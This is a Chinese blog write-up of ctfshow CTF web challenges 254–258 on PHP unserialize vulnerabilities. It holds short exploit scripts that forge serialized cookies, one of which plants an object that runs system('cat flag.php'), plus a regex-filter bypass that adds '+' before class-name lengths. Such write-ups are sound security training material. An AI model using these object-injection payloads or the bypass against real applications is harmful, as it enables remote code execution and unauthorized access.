zoukankan      html  css  js  c++  java
  • ctfshow web入门 反序列化

    web254

    直接get传参就行了

    username=xxxxxx&password=xxxxx

    web255

    拿到代码

    <?php
    
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-12-02 17:44:47
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-12-02 19:29:02
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    */
    
    error_reporting(0);
    highlight_file(__FILE__);
    include('flag.php');
    
    class ctfShowUser{
        public $username='xxxxxx';
        public $password='xxxxxx';
        public $isVip=false;
    
        public function checkVip(){
            return $this->isVip;
        }
        public function login($u,$p){
            return $this->username===$u&&$this->password===$p;
        }
        public function vipOneKeyGetFlag(){
            if($this->isVip){
                global $flag;
                echo "your flag is ".$flag;
            }else{
                echo "no vip, no flag";
            }
        }
    }
    
    $username=$_GET['username'];
    $password=$_GET['password'];
    
    if(isset($username) && isset($password)){
        $user = unserialize($_COOKIE['user']);    
        if($user->login($username,$password)){
            if($user->checkVip()){
                $user->vipOneKeyGetFlag();
            }
        }else{
            echo "no vip,no flag";
        }
    }

    首先get传参,进入第一个if语句,接着对cookie值进行了反序列化,在cookie中构造序列化

    exp

    <?php
    class ctfShowUser
    {
        public $username = 'xxxxxx';
        public $password = 'xxxxxx';
        public $isVip = true;
    }
    $a = new ctfShowUser();
    $b = urlencode(serialize($a));
    echo $b;
    
    ?>

    需要特别注意的是在cookie字段当中需要url编码一波)(其名称以及存储的字符串值是必须经过URL编码的)

    web256

    加了一个条件,让类中的username和password值不一样即可

    <?php
    class ctfShowUser
    {
        public $username = 'xxxxxx';
        public $password = 'xxxxx';
        public $isVip = true;
    }
    $a = new ctfShowUser();
    $b = urlencode(serialize($a));
    echo $b;
    
    ?>

     得到flag

     web 257

    要做的就是在析构函数中调用backdoor函数中的代码执行函数

    <?php
    class ctfShowUser{
        private $username='xxxxxx';
        private $password='xxxxxx';
        private $isVip=false;
        private $class = 'info';
    
        public function __construct(){
            $this->class=new backDoor();
        }
    }
    class backDoor{
        private $code="system('cat flag.php');";
    }
    echo urlencode(serialize(new ctfShowUser()));
    
    
    ?>

    构造exp得到flag

    成员变量中的class变量,当新建ctfshowuser这个类的时候会class值会被被覆盖为构造函数中的值

    web258

    加了一个正则匹配

    f(!preg_match('/[oc]:d+:/i'$_COOKIE['user'])){

    d:  匹配一个数字字符。等价于 [0-9]。
     +:  匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。
    /i:  表示匹配的时候不区分大小写

    反序列化内容包含有数字的,能被正则表达式过滤掉。

    在类名长度前加个+即可绕过

     

  • 相关阅读:
    Windows下Rails2.0.2最简安装教程
    xmpp with openfire之三 openfire扩展小试 整合现有系统用户
    母亲的电话
    郁闷……
    博弈
    长春下雪了
    监考
    sql把逗号分隔的字符串拆成临时表
    SQL语句使用大全。
    Left Join、Right Join、Inner Join的区别
  • 原文地址:https://www.cnblogs.com/akger/p/15271229.html
Copyright © 2011-2022 走看看